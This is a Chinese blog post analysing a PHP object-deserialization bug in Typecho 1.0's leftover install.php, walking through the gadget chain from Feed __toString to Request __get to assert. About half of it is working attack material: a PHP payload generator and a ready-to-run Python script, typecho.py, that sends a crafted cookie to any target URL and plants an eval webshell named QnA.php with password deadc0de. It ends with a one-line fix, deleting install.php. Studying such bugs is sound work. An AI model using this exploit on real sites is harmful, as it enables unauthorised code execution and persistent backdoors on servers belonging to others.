0x00 简述
服务器安装typecho之后没有删除install.php,导致可以在前台利用反序列化漏洞执行任意代码。
0x01 PHP序列化与反序列化
PHP序列化的函数是serialize(),它可以把php对象转化为字符串,加上base64编码,方便传输。
例如对象:
Array
(
[adapter] => Typecho_Feed Object
(
[_type:Typecho_Feed:private] => ATOM 1.0
[_items:Typecho_Feed:private] => Array
(
[0] => Array
(
[author] => Typecho_Request Object
(
[_params:Typecho_Request:private] => Array
(
[screenName] => file_put_contents('test.txt','haha')
)
[_filter:Typecho_Request:private] => Array
(
[0] => assert
)
)
)
)
[dateFormat] =>
)
[prefix] => typecho_
)
可以通过serialize()转化为字符串(\x00开头说明是私有变量):
a:2:{s:7:"adapter";O:12:"Typecho_Feed":3:{s:19:"\x00Typecho_Feed\x00_type";s:8:"ATOM 1.0";s:20:"\x00Typecho_Feed\x00_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"\x00Typecho_Request\x00_params";a:1:{s:10:"screenName";s:63:"file_put_contents('test.txt','haha')";}s:24:"\x00Typecho_Request\x00_filter";a:1:{i:0;s:6:"assert";}}}}s:10:"dateFormat";N;}s:6:"prefix";s:8:"typecho_";}
再base64编码:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzY6ImZpbGVfcHV0X2NvbnRlbnRzKCd0ZXN0LnR4dCcsJ2hhaGEnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
反序列化函数是unserialize(),作用和serialize()相反。所以当用户可以控制unserialize()的参数时,就可能有漏洞产生。
0x02 反序列化漏洞常用的PHP魔术方法
php的魔术方法有很多,容易利用的有__wakeup()、__destruct()、__toString()。
这里还要使用一个方法__get()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
读取不可访问属性的值时,__get() 会被调用。
PHP手册有详细的解释:魔术方法
0x03 实验环境
PHP 5.6.31 Typecho 1.0 (14.10.10)
0x04 代码审计
1.查找反序列化函数和用户可控点
/install.php 230行:
程序获取用户cookie,base64解码后反序列化成$config,然后$config[‘adapter’]被当成字符串了,我们来看看有什么类可以利用__toString()。
2.查找可用的魔术方法
/var/Typecho/Feed.php 223行:
找到了__toString()。
/var/Typecho/Feed.php 290行:
$item为$this->_items这个数组的元素。
发现调用了$item[‘author’]的成员变量screenName,如果对象$item[‘author’]中没有成员变量screenName,就会返回__get(‘screenName’),再看看有没有类的__get()可以用。
/var/Typecho/Request.php 269行:
找到__get(),找get()
这里把$this->_params[$key]传给_applyFilter(),找_applyFilter()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
这里把$this->_filter中的元素当做回调函数,把刚才的$this->_params[‘screenName’]作为回调函数的参数。所以用户可以通过修改cookie为构造好的序列化对象,执行任意命令。
3.检查有没判断阻碍数据传入
回到install.php
有三个判断,要到达230行只需在url后面加上?finish=1,referer修改为http://XXXX/install.php就行了。
4.构造payload
只要按上面的思路构造即可,但有个地方需要注意,install.php 54行用了ob_start(),所有输出会先留在缓冲区中,call_user_func()运行完我们的命令后__toString()会抛出致命错误,导致清空缓冲区,返回状态码500(不知道有没有理解错)。
原文:
在install.php的开始,调用了ob_start()
在php.net上关于ob_start的解释是这样的。
ob_start因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。
我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。
这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
解决了这个问题,整个利用ROP链就成立了
如果只是想种一句话木马的话就不用会显啦,判断状态码500就证明成功。
综合了两篇文章的payload:
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 'file_put_contents(\'QnA.php\',\'<?php @eval($_POST[deadc0de]);?>\')';
$this->_filter[0] = 'assert';
}
}
class Typecho_Feed
{
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = 'ATOM 1.0';
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'adapter' => $x,
'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>
0x05 测试效果
获取payload:
修改cookie前:
修改cookie后:
菜刀连接:
0x06 EXP
typecho.py
#! python3
import requests
import base64
import urllib.parse
import sys
getshell_payload = b"""\
a:2:{\
s:7:"adapter";\
O:12:"Typecho_Feed":3:{\
s:19:"\x00Typecho_Feed\x00_type";\
s:8:"ATOM 1.0";\
s:20:"\x00Typecho_Feed\x00_items";\
a:1:{\
i:0;\
a:1:{s:6:"author";\
O:15:"Typecho_Request":2:{\
s:24:"\x00Typecho_Request\x00_params";\
a:1:{s:10:"screenName";\
s:63:"file_put_contents('QnA.php','<?php @eval($_POST[deadc0de]);?>')";}\
s:24:"\x00Typecho_Request\x00_filter";\
a:1:{i:0;s:6:"assert";}}}}\
s:10:"dateFormat";N;}\
s:6:"prefix";s:8:"typecho_";}\
"""
def url_get_ready(url):
domain = urllib.parse.urlsplit(url).netloc
if not domain:
print("Bad url!")
exit()
new_url = 'http://' + domain + '/install.php'
return new_url
def test_url(url, headers):
test = requests.get(url, headers = headers, params = {"finish":"1"})
return test.cookies if test.status_code == 200 else None
def getshell(url, headers, cookies):
cookies["__typecho_config"] = \
urllib.parse.quote(base64.b64encode(getshell_payload))
ret = requests.get(typecho_install_url,\
params = {"finish":"1"}, headers = headers, cookies=cookies)
return True if ret.status_code == 500 else False
if __name__ == "__main__":
if len(sys.argv) == 2:
typecho_install_url = url_get_ready(sys.argv[1])
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) \
Gecko/20100101 Firefox/52.0",
"Referer": typecho_install_url
}
C = test_url(typecho_install_url, headers)
if getshell(typecho_install_url, headers, C):
print("OK!\nwebshell: QnA.php\npassword: deadc0de")
else:
print("Fail!")
else:
print("Usage: py typecho <url>")
0x07 漏洞修复
删除install.php
0x08 小结
第一次写博客,图很多,字不多,代码审计是跟着文章按图索骥,也不知道自己理解的有没有错,以后还要努力学习一个。
参考: